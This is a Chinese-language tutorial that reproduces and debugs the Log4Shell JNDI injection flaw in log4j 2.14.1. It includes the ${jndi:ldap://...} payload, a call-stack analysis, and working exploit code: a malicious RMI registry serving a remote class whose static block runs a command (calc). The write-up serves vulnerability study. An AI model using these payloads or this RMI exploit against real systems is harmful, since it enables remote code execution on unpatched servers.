前言:

Log4j是去年爆出来的漏洞了,但是那个时候研究java安全的能力还是0,如今在学习java安全的过程中来弥补一下当时的遗憾,当时拿着payload只能弹弹dnslog,完全不理解jndi,rmi这些调用机制,如今看来Log4j的漏洞触发并不复杂,但是简单的利用便可造成非常广泛的严重后果。

影响版本为2.0 <= Apache log4j2 <= 2.14.1

0x01:环境搭建

个人认为搭建环境的过程是对漏洞理解不可缺少的一部分

maven项目pom.xml文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>log4j</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>

<name>log4j Maven Webapp</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

<build>
<finalName>log4j</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>

新建src/main/java/com/test/log4j.java,代码如下

1
2
3
4
5
6
7
8
9
10
package com.test;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
private static final Logger log = LogManager.getLogger(log4j.class);
public static void main(String[] args)throws Exception{
log.error("${jndi:ldap://xxx.xxx.xxx./}");
}
}

0x02:漏洞验证

首先我们通过payload可以发现payload形如${jndi:ldap://xxx.xxx.xxx./},可以触发远程调用,首先用dnslog测试以下漏洞是否存在

用我自己写的dnslog插件,获取一个domain

填入payload

1
log.error("${jndi:ldap://23ee7398.toxiclog.xyz./}");

运行程序,收到dnslog请求

成功触发dnslog解析

0X03:漏洞分析

开启debug模式后跟进log.error进行分析,我们可以看到在AbstractLogger.class中有很多个error方法,我们传递给error方法的参数是一个字符串,进入参数为字符串的error方法

继续跟进this.logMessage方法

在经过logMessageSafely->logMessageTrackRecursion->tryLogMessage方法后来到ERROR.log方法

继续跟进到DefaulReliabilityStrategy.loggerConfig.log

跟进后来到LoggerConfig.class中的282行处的this.log,跟进

继续跟进proccessLogEvent

跟进this.callAppenders

跟进第358行的callAppender

跟进callAppenderPreventRecursion

然后通过调用栈AppenderControl.callAppender0->AppenderControl.tryCallAppender->AppenderControl.appender.append->ConsoleAppender.append->ConsoleAppender.directEncodeEvent->ConsoleAppender.getLayout().encode()->PatternLayout.toText->PatternLayout.toSerializable

在PatternLayout.toSerializable中第406行中依次调用formaters中的format方法

其中formaters内容如下

当我们的this.formatters[i]中的converter为MessagePatternConverter的时候跟进MessagePatternConverter的format方法

跟进MessagePatternConverter的format方法,看到第116行处,判断我们输入的参数是不是以${开头的,如果是,提取出我们的值到value变量,然后调用StrSubstitutor.replace方法

StrSubstitutor.replace方法

跟进StrSubstitutor.substitute方法,看到418行处的StrSubstitutor.resolveVariable方法

跟进

首先获取了resolver,这是一些定义的lookup处理类型,可以看到有date,java,jndi等lookup类型

跟进resolver.lookup,分析可知在186行处获得payload字符串中:的索引,将我们的payload:左边的值(jndi)取出,放入prefix变量中,然后name变量就是冒号右边的值,

在190行根据prefix获取了对应的jndi的lookup,然后在197行使用jndilookup,其参数就是ldap://xxx.xxx.xxx.xxx./(注:测时发现此处必须要在domain后加上一个/,不然不能触发dns解析,具体原因暂时未知)

到这里就调用原生lookup方法了,要执行rmi,ldap远程调用都没问题,执行完成后dnslog收到请求

0x04:利用rmi加载恶意类执行命令

本地起一个恶意rmi服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class C {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Payload", "Payload", "http://127.0.0.1:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hello", referenceWrapper);
System.out.println("C:"+Runtime.getRuntime());
}
}

payload.java

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class Payload {
static {
try {
System.out.println("payload:"+Runtime.getRuntime());
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

通过log4j触发弹出计算器

0X05:补充

刚刚都是围绕log.error来进行触发的,实际上还有log.warn,log.fatal,log.info等方法,在我的测试环境中只有log.error和log.fatal可以触发漏洞.